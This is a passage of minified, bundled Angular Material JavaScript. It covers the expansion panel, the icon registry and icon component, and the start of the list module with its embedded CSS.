16px}.mat-content{display:flex;flex:1;flex-direction:row;overflow:hidden}.mat-expansion-panel-header-title,.mat-expansion-panel-header-description{display:flex;flex-grow:1;margin-right:16px}[dir=rtl] .mat-expansion-panel-header-title,[dir=rtl] .mat-expansion-panel-header-description{margin-right:0;margin-left:16px}.mat-expansion-panel-header-description{flex-grow:2}.mat-expansion-indicator::after{border-style:solid;border-width:0 2px 2px 0;content:"";display:inline-block;padding:3px;transform:rotate(45deg);vertical-align:middle}.cdk-high-contrast-active .mat-expansion-panel .mat-expansion-panel-header.cdk-keyboard-focused:not([aria-disabled=true])::before,.cdk-high-contrast-active .mat-expansion-panel .mat-expansion-panel-header.cdk-program-focused:not([aria-disabled=true])::before,.cdk-high-contrast-active .mat-expansion-panel:not(.mat-expanded) .mat-expansion-panel-header:hover:not([aria-disabled=true])::before{top:0;left:0;right:0;bottom:0;position:absolute;box-sizing:border-box;pointer-events:none;border:3px solid;border-radius:4px;content:""}.cdk-high-contrast-active .mat-expansion-panel-content{border-top:1px solid;border-top-left-radius:0;border-top-right-radius:0}\n'],encapsulation:2,data:{animation:[H.indicatorRotate]},changeDetection:0}),t}(),W=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275dir=r.lG2({type:t,selectors:[["mat-panel-title"]],hostAttrs:[1,"mat-expansion-panel-header-title"]}),t}(),J=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=r.oAB({type:t}),t.\u0275inj=r.cJS({imports:[[b.ez,k.BQ,v,g.eL]]}),t}()},52529:function(t,e,n){"use strict";n.d(e,{Hw:function(){return B},Ps:function(){return j}});var i=n(2316),r=n(24298),a=n(20657),s=n(54364),u=n(81134),c=n(45871),h=n(42720),d=n(11318),p=n(14921),v=n(33927),m=n(18293),g=n(71435),b=n(11355),k=n(53466),w=n(53882),C=n(71570),x=["*"];function S(t){return Error('Unable to find icon with the name "'.concat(t,'"'))}function E(t){return Error("The URL provided to MatIconRegistry was not trusted as a resource URL via Angular's DomSanitizer. Attempted URL was \"".concat(t,'".'))}function A(t){return Error("The literal provided to MatIconRegistry was not trusted as safe HTML by Angular's DomSanitizer. Attempted literal was \"".concat(t,'".'))}var T,I=function t(e,n,i){_(this,t),this.url=e,this.svgText=n,this.options=i},O=((T=function(){function t(e,n,i,r){_(this,t),this._httpClient=e,this._sanitizer=n,this._errorHandler=r,this._svgIconConfigs=new Map,this._iconSetConfigs=new Map,this._cachedIconsByUrl=new Map,this._inProgressUrlFetches=new Map,this._fontCssClassesByAlias=new Map,this._resolvers=[],this._defaultFontSetClass="material-icons",this._document=i}return y(t,[{key:"addSvgIcon",value:function(t,e,n){return this.addSvgIconInNamespace("",t,e,n)}},{key:"addSvgIconLiteral",value:function(t,e,n){return this.addSvgIconLiteralInNamespace("",t,e,n)}},{key:"addSvgIconInNamespace",value:function(t,e,n,i){return this._addSvgIconConfig(t,e,new I(n,null,i))}},{key:"addSvgIconResolver",value:function(t){return this._resolvers.push(t),this}},{key:"addSvgIconLiteralInNamespace",value:function(t,e,n,r){var o=this._sanitizer.sanitize(i.q3G.HTML,n);if(!o)throw A(n);return this._addSvgIconConfig(t,e,new I("",o,r))}},{key:"addSvgIconSet",value:function(t,e){return this.addSvgIconSetInNamespace("",t,e)}},{key:"addSvgIconSetLiteral",value:function(t,e){return this.addSvgIconSetLiteralInNamespace("",t,e)}},{key:"addSvgIconSetInNamespace",value:function(t,e,n){return this._addSvgIconSetConfig(t,new I(e,null,n))}},{key:"addSvgIconSetLiteralInNamespace",value:function(t,e,n){var r=this._sanitizer.sanitize(i.q3G.HTML,e);if(!r)throw A(e);return this._addSvgIconSetConfig(t,new I("",r,n))}},{key:"registerFontClassAlias",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:t;return this._fontCssClassesByAlias.set(t,e),this}},{key:"classNameForFontAlias",value:function(t){return this._fontCssClassesByAlias.get(t)||t}},{key:"setDefaultFontSetClass",value:function(t){return this._defaultFontSetClass=t,this}},{key:"getDefaultFontSetClass",value:function(){return this._defaultFontSetClass}},{key:"getSvgIconFromUrl",value:function(t){var e=this,n=this._sanitizer.sanitize(i.q3G.RESOURCE_URL,t);if(!n)throw E(t);var r=this._cachedIconsByUrl.get(n);return r?(0,u.of)(R(r)):this._loadSvgIconFromConfig(new I(t,null)).pipe((0,p.b)(function(t){return e._cachedIconsByUrl.set(n,t)}),(0,v.U)(function(t){return R(t)}))}},{key:"getNamedSvgIcon",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"",n=P(e,t),i=this._svgIconConfigs.get(n);if(i)return this._getSvgFromConfig(i);if(i=this._getIconConfigFromResolvers(e,t))return this._svgIconConfigs.set(n,i),this._getSvgFromConfig(i);var r=this._iconSetConfigs.get(e);return r?this._getSvgFromIconSetConfigs(t,r):(0,c._)(S(n))}},{key:"ngOnDestroy",value:function(){this._resolvers=[],this._svgIconConfigs.clear(),this._iconSetConfigs.clear(),this._cachedIconsByUrl.clear()}},{key:"_getSvgFromConfig",value:function(t){return t.svgText?(0,u.of)(R(this._svgElementFromConfig(t))):this._loadSvgIconFromConfig(t).pipe((0,v.U)(function(t){return R(t)}))}},{key:"_getSvgFromIconSetConfigs",value:function(t,e){var n=this,r=this._extractIconWithNameFromAnySet(t,e);if(r)return(0,u.of)(r);var o=e.filter(function(t){return!t.svgText}).map(function(t){return n._loadSvgIconSetFromConfig(t).pipe((0,m.K)(function(e){var r="Loading icon set URL: ".concat(n._sanitizer.sanitize(i.q3G.RESOURCE_URL,t.url)," failed: ").concat(e.message);return n._errorHandler.handleError(new Error(r)),(0,u.of)(null)}))});return(0,h.D)(o).pipe((0,v.U)(function(){var i=n._extractIconWithNameFromAnySet(t,e);if(!i)throw S(t);return i}))}},{key:"_extractIconWithNameFromAnySet",value:function(t,e){for(var n=e.length-1;n>=0;n--){var i=e[n];if(i.svgText&&i.svgText.indexOf(t)>-1){var r=this._svgElementFromConfig(i),o=this._extractSvgIconFromSet(r,t,i.options);if(o)return o}}return null}},{key:"_loadSvgIconFromConfig",value:function(t){var e=this;return this._fetchIcon(t).pipe((0,p.b)(function(e){return t.svgText=e}),(0,v.U)(function(){return e._svgElementFromConfig(t)}))}},{key:"_loadSvgIconSetFromConfig",value:function(t){return t.svgText?(0,u.of)(null):this._fetchIcon(t).pipe((0,p.b)(function(e){return t.svgText=e}))}},{key:"_extractSvgIconFromSet",value:function(t,e,n){var i=t.querySelector('[id="'.concat(e,'"]'));if(!i)return null;var r=i.cloneNode(!0);if(r.removeAttribute("id"),"svg"===r.nodeName.toLowerCase())return this._setSvgAttributes(r,n);if("symbol"===r.nodeName.toLowerCase())return this._setSvgAttributes(this._toSvgElement(r),n);var o=this._svgElementFromString("<svg></svg>");return o.appendChild(r),this._setSvgAttributes(o,n)}},{key:"_svgElementFromString",value:function(t){var e=this._document.createElement("DIV");e.innerHTML=t;var n=e.querySelector("svg");if(!n)throw Error("<svg> tag not found");return n}},{key:"_toSvgElement",value:function(t){for(var e=this._svgElementFromString("<svg></svg>"),n=t.attributes,i=0;i<n.length;i++){var r=n[i],o=r.name,a=r.value;"id"!==o&&e.setAttribute(o,a)}for(var s=0;s<t.childNodes.length;s++)t.childNodes[s].nodeType===this._document.ELEMENT_NODE&&e.appendChild(t.childNodes[s].cloneNode(!0));return e}},{key:"_setSvgAttributes",value:function(t,e){return t.setAttribute("fit",""),t.setAttribute("height","100%"),t.setAttribute("width","100%"),t.setAttribute("preserveAspectRatio","xMidYMid meet"),t.setAttribute("focusable","false"),e&&e.viewBox&&t.setAttribute("viewBox",e.viewBox),t}},{key:"_fetchIcon",value:function(t){var e,n=this,r=t.url,o=t.options,a=null!==(e=null==o?void 0:o.withCredentials)&&void 0!==e&&e;if(!this._httpClient)throw Error("Could not find HttpClient provider for use with Angular Material icons. Please include the HttpClientModule from @angular/common/http in your app imports.");if(null==r)throw Error('Cannot fetch icon from URL "'.concat(r,'".'));var s=this._sanitizer.sanitize(i.q3G.RESOURCE_URL,r);if(!s)throw E(r);var u=this._inProgressUrlFetches.get(s);if(u)return u;var c=this._httpClient.get(s,{responseType:"text",withCredentials:a}).pipe((0,g.x)(function(){return n._inProgressUrlFetches.delete(s)}),(0,b.B)());return this._inProgressUrlFetches.set(s,c),c}},{key:"_addSvgIconConfig",value:function(t,e,n){return this._svgIconConfigs.set(P(t,e),n),this}},{key:"_addSvgIconSetConfig",value:function(t,e){var n=this._iconSetConfigs.get(t);return n?n.push(e):this._iconSetConfigs.set(t,[e]),this}},{key:"_svgElementFromConfig",value:function(t){if(!t.svgElement){var e=this._svgElementFromString(t.svgText);this._setSvgAttributes(e,t.options),t.svgElement=e}return t.svgElement}},{key:"_getIconConfigFromResolvers",value:function(t,e){for(var n=0;n<this._resolvers.length;n++){var i=this._resolvers[n](e,t);if(i)return N(i)?new I(i.url,null,i.options):new I(i,null)}}}]),t}()).\u0275fac=function(t){return new(t||T)(i.LFG(w.eN,8),i.LFG(C.H7),i.LFG(s.K0,8),i.LFG(i.qLn))},T.\u0275prov=i.Yz7({factory:function(){return new T(i.LFG(w.eN,8),i.LFG(C.H7),i.LFG(s.K0,8),i.LFG(i.qLn))},token:T,providedIn:"root"}),T);function R(t){return t.cloneNode(!0)}function P(t,e){return t+":"+e}function N(t){return!(!t.url||!t.options)}var D=(0,r.pj)(function(){return function t(e){_(this,t),this._elementRef=e}}()),L=new i.OlP("mat-icon-location",{providedIn:"root",factory:function(){var t=(0,i.f3M)(s.K0),e=t?t.location:null;return{getPathname:function(){return e?e.pathname+e.search:""}}}}),M=["clip-path","color-profile","src","cursor","fill","filter","marker","marker-start","marker-mid","marker-end","mask","stroke"],F=M.map(function(t){return"[".concat(t,"]")}).join(", "),U=/^url\(['"]?#(.*?)['"]?\)$/,B=function(){var t=function(t){l(n,t);var e=f(n);function n(t,i,r,o,a){var s;return _(this,n),(s=e.call(this,t))._iconRegistry=i,s._location=o,s._errorHandler=a,s._inline=!1,s._currentIconFetch=d.w.EMPTY,r||t.nativeElement.setAttribute("aria-hidden","true"),s}return y(n,[{key:"inline",get:function(){return this._inline},set:function(t){this._inline=(0,a.Ig)(t)}},{key:"svgIcon",get:function(){return this._svgIcon},set:function(t){t!==this._svgIcon&&(t?this._updateSvgIcon(t):this._svgIcon&&this._clearSvgElement(),this._svgIcon=t)}},{key:"fontSet",get:function(){return this._fontSet},set:function(t){var e=this._cleanupFontValue(t);e!==this._fontSet&&(this._fontSet=e,this._updateFontIconClasses())}},{key:"fontIcon",get:function(){return this._fontIcon},set:function(t){var e=this._cleanupFontValue(t);e!==this._fontIcon&&(this._fontIcon=e,this._updateFontIconClasses())}},{key:"_splitIconName",value:function(t){if(!t)return["",""];var e=t.split(":");switch(e.length){case 1:return["",e[0]];case 2:return e;default:throw Error('Invalid icon name: "'.concat(t,'"'))}}},{key:"ngOnInit",value:function(){this._updateFontIconClasses()}},{key:"ngAfterViewChecked",value:function(){var t=this._elementsWithExternalReferences;if(t&&t.size){var e=this._location.getPathname();e!==this._previousPath&&(this._previousPath=e,this._prependPathToReferences(e))}}},{key:"ngOnDestroy",value:function(){this._currentIconFetch.unsubscribe(),this._elementsWithExternalReferences&&this._elementsWithExternalReferences.clear()}},{key:"_usingFontIcon",value:function(){return!this.svgIcon}},{key:"_setSvgElement",value:function(t){this._clearSvgElement();for(var e=t.querySelectorAll("style"),n=0;n<e.length;n++)e[n].textContent+=" ";var i=this._location.getPathname();this._previousPath=i,this._cacheChildrenWithExternalReferences(t),this._prependPathToReferences(i),this._elementRef.nativeElement.appendChild(t)}},{key:"_clearSvgElement",value:function(){var t=this._elementRef.nativeElement,e=t.childNodes.length;for(this._elementsWithExternalReferences&&this._elementsWithExternalReferences.clear();e--;){var n=t.childNodes[e];(1!==n.nodeType||"svg"===n.nodeName.toLowerCase())&&t.removeChild(n)}}},{key:"_updateFontIconClasses",value:function(){if(this._usingFontIcon()){var t=this._elementRef.nativeElement,e=this.fontSet?this._iconRegistry.classNameForFontAlias(this.fontSet):this._iconRegistry.getDefaultFontSetClass();e!=this._previousFontSetClass&&(this._previousFontSetClass&&t.classList.remove(this._previousFontSetClass),e&&t.classList.add(e),this._previousFontSetClass=e),this.fontIcon!=this._previousFontIconClass&&(this._previousFontIconClass&&t.classList.remove(this._previousFontIconClass),this.fontIcon&&t.classList.add(this.fontIcon),this._previousFontIconClass=this.fontIcon)}}},{key:"_cleanupFontValue",value:function(t){return"string"==typeof t?t.trim().split(" ")[0]:t}},{key:"_prependPathToReferences",value:function(t){var e=this._elementsWithExternalReferences;e&&e.forEach(function(e,n){e.forEach(function(e){n.setAttribute(e.name,"url('".concat(t,"#").concat(e.value,"')"))})})}},{key:"_cacheChildrenWithExternalReferences",value:function(t){for(var e=t.querySelectorAll(F),n=this._elementsWithExternalReferences=this._elementsWithExternalReferences||new Map,i=function(t){M.forEach(function(i){var r=e[t],o=r.getAttribute(i),a=o?o.match(U):null;if(a){var s=n.get(r);s||(s=[],n.set(r,s)),s.push({name:i,value:a[1]})}})},r=0;r<e.length;r++)i(r)}},{key:"_updateSvgIcon",value:function(t){var e=this;if(this._svgNamespace=null,this._svgName=null,this._currentIconFetch.unsubscribe(),t){var n=o(this._splitIconName(t),2),i=n[0],r=n[1];i&&(this._svgNamespace=i),r&&(this._svgName=r),this._currentIconFetch=this._iconRegistry.getNamedSvgIcon(r,i).pipe((0,k.q)(1)).subscribe(function(t){return e._setSvgElement(t)},function(t){e._errorHandler.handleError(new Error("Error retrieving icon ".concat(i,":").concat(r,"! ").concat(t.message)))})}}}]),n}(D);return t.\u0275fac=function(e){return new(e||t)(i.Y36(i.SBq),i.Y36(O),i.$8M("aria-hidden"),i.Y36(L),i.Y36(i.qLn))},t.\u0275cmp=i.Xpm({type:t,selectors:[["mat-icon"]],hostAttrs:["role","img",1,"mat-icon","notranslate"],hostVars:7,hostBindings:function(t,e){2&t&&(i.uIk("data-mat-icon-type",e._usingFontIcon()?"font":"svg")("data-mat-icon-name",e._svgName||e.fontIcon)("data-mat-icon-namespace",e._svgNamespace||e.fontSet),i.ekj("mat-icon-inline",e.inline)("mat-icon-no-color","primary"!==e.color&&"accent"!==e.color&&"warn"!==e.color))},inputs:{color:"color",inline:"inline",svgIcon:"svgIcon",fontSet:"fontSet",fontIcon:"fontIcon"},exportAs:["matIcon"],features:[i.qOj],ngContentSelectors:x,decls:1,vars:0,template:function(t,e){1&t&&(i.F$t(),i.Hsn(0))},styles:[".mat-icon{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;background-repeat:no-repeat;display:inline-block;fill:currentColor;height:24px;width:24px}.mat-icon.mat-icon-inline{font-size:inherit;height:inherit;line-height:inherit;width:inherit}[dir=rtl] .mat-icon-rtl-mirror{transform:scale(-1, 1)}.mat-form-field:not(.mat-form-field-appearance-legacy) .mat-form-field-prefix .mat-icon,.mat-form-field:not(.mat-form-field-appearance-legacy) .mat-form-field-suffix .mat-icon{display:block}.mat-form-field:not(.mat-form-field-appearance-legacy) .mat-form-field-prefix .mat-icon-button .mat-icon,.mat-form-field:not(.mat-form-field-appearance-legacy) .mat-form-field-suffix .mat-icon-button .mat-icon{margin:auto}\n"],encapsulation:2,changeDetection:0}),t}(),j=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=i.oAB({type:t}),t.\u0275inj=i.cJS({imports:[[r.BQ],r.BQ]}),t}()},28417:function(t,e,n){"use strict";n.d(e,{i$:function(){return L},eA:function(){return M},Tg:function(){return U},ie:function(){return q},vS:function(){return G},Hk:function(){return D},Ub:function(){return Y}});var i=n(54364),o=n(2316),a=n(24298),s=n(20657),u=n(79441),c=n(22663),h=n(1143),d=n(51606),p=n(62604),v=n(90084),m=n(1707),g=n(1124),b=["*"],k='.mat-subheader{display:flex;box-sizing:border-box;padding:16px;align-items:center}.mat-list-base .mat-subheader{margin:0}.mat-list-base{padding-top:8px;display:block;-webkit-tap-highlight-color:transparent}.mat-list-base .mat-subheader{height:48px;line-height:16px}.mat-list-base .mat-subheader:first-child{margin-top:-8px}.mat-list-base .mat-list-item,.mat-list-base .mat-list-option{display:block;height:48px;-webkit-tap-highlight-color:transparent;width:100%;padding:0}.mat-list-base .mat-list-item .mat-list-item-content,.mat-list-base .mat-list-option .mat-list-item-content{display:flex;flex-direction:row;align-items:center;box-sizing:border-box;padding:0 16px;position:relative;height:inherit}.mat-list-base .mat-list-item .mat-list-item-content-reverse,.mat-list-base .mat-list-option .mat-list-item-content-reverse{display:flex;align-items:center;padding:0 16px;flex-direction:row-reverse;justify-content:space-around}.mat-list-base .mat-list-item .mat-list-item-ripple,.mat-list-base .mat-list-option .mat-list-item-ripple{top:0;left:0;right:0;bottom:0;position:absolute;pointer-events:none}.mat-list-base .mat-list-item.mat-list-item-with-avatar,.mat-list-base .mat-list-option.mat-list-item-with-avatar{height:56px}.mat-list-base .mat-list-item.mat-2-line,.mat-list-base .mat-list-option.mat-2-line{height:72px}.mat-list-base .mat-list-item.mat-3-line,.mat-list-base .mat-list-option.mat-3-line{height:88px}.mat-list-base .mat-list-item.mat-multi-line,.mat-list-base .mat-list-option.mat-multi-line{height:auto}.mat-list-base .mat-list-item.mat-multi-line .mat-list-item-content,.mat-list-base .mat-list-option.mat-multi-line .mat-list-item-content{padding-top:16px;padding-bottom:16px}.mat-list-base .mat-list-item .mat-list-text,.mat-list-base .mat-list-option .mat-list-text{display:flex;flex-direction:column;flex:auto;box-sizing:border-box;overflow:hidden;padding:0}.mat-list-base .mat-list-item .mat-list-text>*,.mat-list-base .mat-list-option .mat-list-text>*{margin:0;padding:0;font-weight:normal;font-size:inherit}.mat-list-base .mat-list-item .mat-list-text:empty,.mat-list-base .mat-list-option .mat-list-text:empty{display:none}.mat-list-base .mat-list-item.mat-list-item-with-avatar .mat-list-item-content .mat-list-text,.mat-list-base .mat-list-item.mat-list-option .mat-list-item-content .mat-list-text,.mat-list-base .mat-list-option.mat-list-item-with-avatar .mat-list-item-content .mat-list-text,.mat-list-base .mat-list-option.mat-list-option .mat-list-item-content .mat-list-text{padding-right:0;padding-left:16px}[dir=rtl] .mat-list-base .mat-list-item.mat-list-item-with-avatar .mat-list-item-content .mat-list-text,[dir=rtl] .mat-list-base .mat-list-item.mat-list-option .mat-list-item-content .mat-list-text,[dir=rtl] .mat-list-base .mat-list-option.mat-list-item-with-avatar .mat-list-item-content .mat-list-text,[dir=rtl] .mat-list-base .mat-list-option.mat-list-option .mat-list-item-content .mat-list-text{padding-right:16px;padding-left:0}.mat-list-base .mat-list-item.mat-list-item-with-avatar .mat-list-item-content-reverse .mat-list-text,.mat-list-base .mat-list-item.mat-list-option .mat-list-item-content-reverse .mat-list-text,.mat-list-base .mat-list-option.mat-list-item-with-avatar .mat-list-item-content-reverse .mat-list-text,.mat-list-base .mat-list-option.mat-list-option .mat-list-item-content-reverse .mat-list-text{padding-left:0;padding-right:16px}[dir=rtl] .mat-list-base .mat-list-item.mat-list-item-with-avatar .mat-list-item-content-reverse .mat-list-text,[dir=rtl] .mat-list-base .mat-list-item.mat-list-option .mat-list-item-content-reverse .mat-list-text,[dir=rtl] .mat-list-base .mat-list-option.mat-list-item-with-avatar .mat-list-item-content-reverse .mat-list-text,[dir=rtl] .mat-list-base .mat-list-option.mat-list-option .mat-list-item-content-reverse .mat-list-text{padding-right:0;padding-left:16px}.mat-list-base .mat-list-item.mat-list-item-with-avatar.mat-list-option .mat-list-item-content-reverse .mat-list-text,.mat-list-base .mat-list-item.mat-list-item-with-avatar.mat-list-option .mat-list-item-content .mat-list-text,.mat-list-base .mat-list-option.mat-list-item-with-avatar.mat-list-option .mat-list-item-content-reverse .mat-list-text,.mat-list-base .mat-list-option.mat-list-item-with-avatar.mat-list-option .mat-list-item-content .mat-list-text{padding-right:16px;padding-left:16px}.mat-list-base .mat-list-item .mat-list-avatar,.mat-list-base .mat-list-option .mat-list-avatar{flex-shrink:0;width:40px;height:40px;border-radius:50%;object-fit:cover}.mat-list-base .mat-list-item .mat-list-avatar~.mat-divider-inset,.mat-list-base .mat-list-option .mat-list-avatar~.mat-divider-inset{margin-left:72px;width:calc(100% - 72px)}[dir=rtl] .mat-list-base .mat-list-item .mat-list-avatar~.mat-divider-inset,[dir=rtl] .mat-list-base .mat-list-option .mat-list-avatar~.mat-divider-inset{margin-left:auto;margin-right:72px}.mat-list-base .mat-list-item .mat-list-icon,.mat-list-base .mat-list-option .mat-list-icon{flex-shrink:0;width:24px;height:24px;font-size:24px;box-sizing:content-box;border-radius:50%;padding:4px}.mat-list-base .mat-list-item .mat-list-icon~.mat-divider-inset,.mat-list-base .mat-list-option .mat-list-icon~.mat-divider-inset{margin-left:64px;width:calc(100% - 64px)}[dir=rtl] .mat-list-base .mat-list-item .mat-list-icon~.mat-divider-inset,[dir=rtl] .mat-list-base .mat-list-option .mat-list-icon~.mat-divider-inset{margin-left:auto;margin-right:64px}.mat-list-base .mat-list-item .mat-divider,.mat-list-base .mat-list-option .mat-divider{position:absolute;bottom:0;left:0;width:100%;margin:0}[dir=rtl] .mat-list-base .mat-list-item .mat-divider,[dir=rtl] .mat-list-base .mat-list-option .mat-divider{margin-left:auto;margin-right:0}.mat-list-base .mat-list-item .mat-divider.mat-divider-inset,.mat-list-base .mat-list-option .mat-divider.mat-divider-inset{position:absolute}.mat-list-base[dense]{padding-top:4px;display:block}.mat-list-base[dense] .mat-subheader{height:40px;line-height:8px}.mat-list-base[dense] .mat-subheader:first-child{margin-top:-4px}.mat-list-base[dense] .mat-list-item,.mat-list-base[dense] .mat-list-option{display:block;height:40px;-webkit-tap-highlight-color:transparent;width:100%;padding:0}.mat-list-base[dense] .mat-list-item .mat-list-item-content,.mat-list-base[dense] .mat-list-option .mat-list-item-content{display:flex;flex-direction:row;align-items:center;box-sizing:border-box;padding:0 16px;position:relative;height:inherit}.mat-list-base[dense] .mat-list-item .mat-list-item-content-reverse,.mat-list-base[dense] .mat-list-option .mat-list-item-content-reverse{display:flex;align-items:center;padding:0 16px;flex-direction:row-reverse;justify-content:space-around}.mat-list-base[dense] .mat-list-item .mat-list-item-ripple,.mat-list-base[dense] .mat-list-option .mat-list-item-ripple{top:0;left:0;right:0;bottom:0;position:absolute;pointer-events:none}.mat-list-base[dense] .mat-list-item.mat-list-item-with-avatar,.mat-list-base[dense] .mat-list-option.mat-list-item-with-avatar{height:48px}.mat-list-base[dense] .mat-list-item.mat-2-line,.mat-list-base[dense] .mat-list-option.mat-2-line{height:60px}.mat-list-base[dense] .mat-list-item.mat-3-line,.mat-list-base[dense] .mat-list-option.mat-3-line{height:76px}.mat-list-base[dense] .mat-list-item.mat-multi-line,.mat-list-base[dense] .mat-list-option.mat-multi-line{height:auto}.mat-list-base[dense] .mat-list-item.mat-multi-line .mat-list-item-content,.mat-list-base[dense] .mat-list-option.mat-multi-line .mat-list-item-content{padding-top:16px;padding-bottom:16px}.mat-list-base[dense] .mat-list-item .mat-list-text,.mat-list-base[dense] .mat-list-option .mat-list-text{display:flex;flex-direction:column;flex:auto;box-sizing:border-box;overflow:hidden;padding:0}.mat-list-base[dense] .mat-list-item .mat-list-text>*,.mat-list-base[dense] .mat-list-option .mat-list-text>*{margin:0;padding:0;font-weight:normal;font-size:inherit}.mat-list-base[dense] .mat-list-item .mat-list-text:empty,.mat-list-base[dense] .mat-list-option .mat-list-text:empty{display:none}.mat-list-base[dense] .mat-list-item.mat-list-item-with-avatar .mat-list-item-content .mat-list-text,.mat-list-base[dense] .mat-list-item.mat-list-option .mat-list-item-content .mat-list-text,.mat-list-base[dense] .mat-list-option.mat-list-item-with-avatar .mat-list-item-content .mat-list-text,.mat-list-base[dense] .mat-list-option.mat-list-option .mat-list-item-content .mat-list-text{padding-right:0;padding-left:16px}[dir=rtl] .mat-list-base[dense] .mat-list-item.mat-list-item-with-avatar .mat-list-item-content .mat-list-text,[dir=rtl] .mat-list-base[dense] .mat-list-item.mat-list-option .mat-list-item-content .mat-list-text,[dir=rtl] .mat-list-base[dense] .mat-list-option.mat-list-item-with-avatar .mat-list-item-content .mat-list-text,[dir=rtl] .mat-list-base[dense] .mat-list-option.mat-list-option .mat-list-item-content .mat-list-text{padding-right:16px;padding-left:0}.mat-list-base[dense] .mat-list-item.mat-list-item-with-avatar .mat-list-item-content-reverse .mat-list-text,.mat-list-base[dense] .mat-list-item.mat-list-option .mat-list-item-content-reverse .mat-list-text,.mat-list-base[dense] .mat-list-option.mat-list-item-with-avatar .mat-list-item-content-reverse .mat-list-text,.mat-list-base[dense] .mat-list-option.mat-list-option .mat-list-item-content-reverse .mat-list-text{padding-left:0;padding-right:16px}[dir=rtl] .mat-list-base[dense] .mat-list-item.mat-list-item-with-avatar .mat-list-item-content-reverse .mat-list-text,[dir=rtl] .mat-list-base[dense] .mat-list-item.mat-list-option .mat-list-item-content-reverse .mat-list-text,[dir=rtl] .mat-list-base[dense] .mat-list-option.mat-list-item-with-avatar .mat-list-item-content-reverse .mat-list-text,[dir=rtl] .mat-list-base[dense] .mat-list-option.mat-list-option .mat-list-item-content-reverse .mat-list-text{padding-right:0;padding-left:16px}.mat-list-base[dense] .mat-list-item.mat-list-item-with-avatar.mat-list-option .mat-list-item-content-reverse .mat-list-text,.mat-list-base[dense] .mat-list-item.mat-list-item-with-avatar.mat-list-option .mat-list-item-content .mat-list-text,.mat-list-base[dense] .mat-list-option.mat-list-item-with-avatar.mat-list-option .mat-list-item-content-reverse .mat-list-text,.mat-list-base[dense] .mat-list-option.mat-list-item-with-avatar.mat-list-option .mat-list-item-content .mat-list-text{padding-right:16px;padding-left:16px}.mat-list-base[dense] .mat-list-item .mat-list-avatar,.mat-list-base[dense] .mat-list-option .mat-list-avatar{flex-shrink:0;width:36px;height:36px;border-radius:50%;object-fit:cover}.mat-list-base[dense] .mat-list-item .mat-list-avatar~.mat-divider-inset,.mat-list-base[dense] .mat-list-option .mat-list-avatar~.mat-divider-inset{margin-left:68px;width:calc(100% - 68px)}[dir=rtl] .mat-list-base[dense] .mat-list-item .mat-list-avatar~.mat-divider-inset,[dir=rtl] .mat-list-base[dense] .mat-list-option .mat-list-avatar~.mat-divider-inset{margin-left:auto;margin-right:68px}.mat-list-base[dense] .mat-list-item .mat-list-icon,.mat-list-base[dense] .mat-list-option .mat-list-icon{flex-shrink:0;width:20px;height:20px;font-size:20px;box-sizing:content-box;border-radius:50%;padding:4px}.mat-list-base[dense] .mat-list-item .mat-list-icon~.mat-divider-inset,.mat-list-base[dense] .mat-list-option .mat-list-icon~.mat-divider-inset{margin-left:60px;width:calc(100% - 60px)}[dir=rtl] .mat-list-base[dense] .mat-list-item .mat-list-icon~.mat-divider-inset,[dir=rtl] .mat-list-base[dense] .mat-list-option .mat-list-icon~.mat-divider-inset{margin-left:auto;margin-right:60px}.mat-list-base[dense] .mat-list-item .mat-divider,.mat-list-base[dense] .mat-list-option .mat-divider{position:absolute;bottom:0;left:0;width:100%;margin:0}[dir=rtl] .mat-list-base[dense] .mat-list-item .mat-divider,[dir=rtl] .mat-list-base[dense] .mat-list-option .mat-divider{margin-left:auto;margin-right:0}.mat-list-base[dense] .mat-list-item .mat-divider.mat-divider-inset,.mat-list-base[dense] .mat-list-option .mat-divider.mat-divider-inset{position:absolute}.mat-nav-list a{text-decoration:none;color:inherit}.mat-nav-list .mat-list-item{cursor:pointer;outline:none}mat-action-list button{background:none;color:inherit;border:none;font:inherit;outline:inherit;-webkit-tap-highlight-color:transparent;text-align:left}[dir=rtl] mat-action-list button{text-align:right}mat-action-list button::-moz-focus-inner{border:0}mat-action-list .mat-list-item{cursor:pointer;outline:inherit}.mat-list-option:not(.mat-list-item-disabled){cursor:pointer;outline:none}.mat-list-item-disabled{pointer-events:none}.cdk-high-contrast-active .mat-list-item-disabled{opacity:.5}.cdk-high-contrast-active :host .mat-list-item-disabled{opacity:.5}.cdk-high-contrast-active .mat-selection-list:focus{outline-style:dotted}.cdk-high-contrast-active .mat-list-option:hover,.cdk-high-contrast-active .mat-list-option:focus,.cdk-high-contrast-active .mat-nav-list .mat-list-item:hover,.cdk-high-contrast-active .mat-nav-list .mat-list-item:focus,.cdk-high-contrast-active mat-action-list .mat-list-item:hover,.cdk-high-contrast-active mat-action-list .mat-list-item:focus{outline:dotted 1px;z-index:1}.cdk-high-contrast-active .mat-list-single-selected-option::after{content:"";position:absolute;top:50%;right:16px;transform:translateY(-50%);width:10px;height:0;border-bottom:solid 10px;border-radius:10px}.cdk-high-contrast-active [dir=rtl] .mat-list-single-selected-option::after{right:auto;left:16px}@media(hover: none){.mat-list-option:not(.mat-list-single-selected-option):not(.mat-list-item-disabled):hover,.mat-nav-list .mat-list-item:not(.mat-list-item-disabled):hover,.mat-action-list .mat-list-item:not(.mat-list-item-disabled):hover{background:none}}\n',w=[[["","mat-list-avatar",""],["","mat-list-icon",""],["","matListAvatar",""],["","matListIcon",""]],[["","mat-line",""],["","matLine",""]],"*"],C=["[mat-list-avatar], [mat-list-icon], [matListAvatar], [matListIcon]","[mat-line], [matLine]","*"],x=["text"];function S(t,e){if(1&t&&o._UZ(0,"mat-pseudo-checkbox",5),2&t){var n=o.oxw();o.Q6J("state",n.selected?"checked":"unchecked")("disabled",n.disabled)}}var E,A,T=["*",[["","mat-list-avatar",""],["","mat-list-icon",""],["","matListAvatar",""],["","matListIcon",""]]],I=["*","[mat-list-avatar], [mat-list-icon], [matListAvatar], [matListIcon]"],O=(0,a.Id)((0,a.Kr)(function(){return function t(){_(this,t)}}())),R=(0,a.Kr)(function(){return function t(){_(this,t)}}()),P=new o.OlP("MatList"),N=new o.OlP("MatNavList"),D=((A=function(t){l(n,t);var e=f(n);function n(){var 